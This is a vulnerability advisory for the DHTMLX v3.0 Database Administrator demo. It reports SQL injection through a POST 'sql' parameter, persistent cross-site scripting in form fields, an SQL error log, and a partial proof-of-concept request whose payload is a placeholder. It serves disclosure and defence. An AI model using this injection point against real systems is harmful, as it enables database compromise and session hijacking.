Introduction:  
=============  
To demonstrate the rich possibilities of DHTMLX controls and to show how they work within a   
common user interface, we’ve created some demo applications which are listed below. Using   
dhtmlxLayout, dhtmlxGrid, dhtmlxTree, and other dhtmlx components, you can very quickly   
create your own web applications with similar user interfaces.  
  
Ajax Application Built with DHTMLX - Database Administrator  
Database Administrator This application provides database management/navigation functionality   
and demonstrates simultaneous usage of the following DHTMLX components:  
  
- dhtmlxLayout  
- dhtmlxTree  
- dhtmlxToolbar  
- dhtmlxWindows  
- dhtmlxGrid  
- dhtmlxTabbar

Details:  
========  
1.1  
A remote SQL Injection vulnerability is detected in the DHTMLX v.3.0 Professional|Standard Edition.  
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands   
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.  
the vulnerability is located on the sql query module of the database administrator function which allows to inject via  
POST request the database tables.  
  
  
Vulnerable Module(s):  
[+] SQL Query - Command Module  
  
  
--- SQL Exception Logs ---  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version from   
the right syntax to use near `1-` at line 1

1.2  
Multiple persistent input validation vulnerability are detected in the DHTMLX v.3.0 Professional|Standard Edition.  
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).  
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)   
context manipulation. Exploitation requires low user inter action.  
  
  
Vulnerable Module(s):  
[+] Register Form - Input Fields & Login Username Display  
[+] Contacts Us - Send Input Fields & Admin output Display  
[+] Add Groups Name - Control Panel

Proof of Concept:  
=================  
1.1  
The sql injection vulnerability ca be exploited by local privileged users of the application dbms.  
For demonstration or reproduce ...  
  
id=host%5E0%7Cdb%5EdhtmlxKING-LUI%7Ctable%5Edepartments&sql=-1'%0A[SQL-INJECTION]  
[SQL-Query]  
  
  
  
1.2  
The persistent input validation vulnerabilities can be exploited by local low privileged user account with   
low required user inter action. For demonstration or reproduce ...
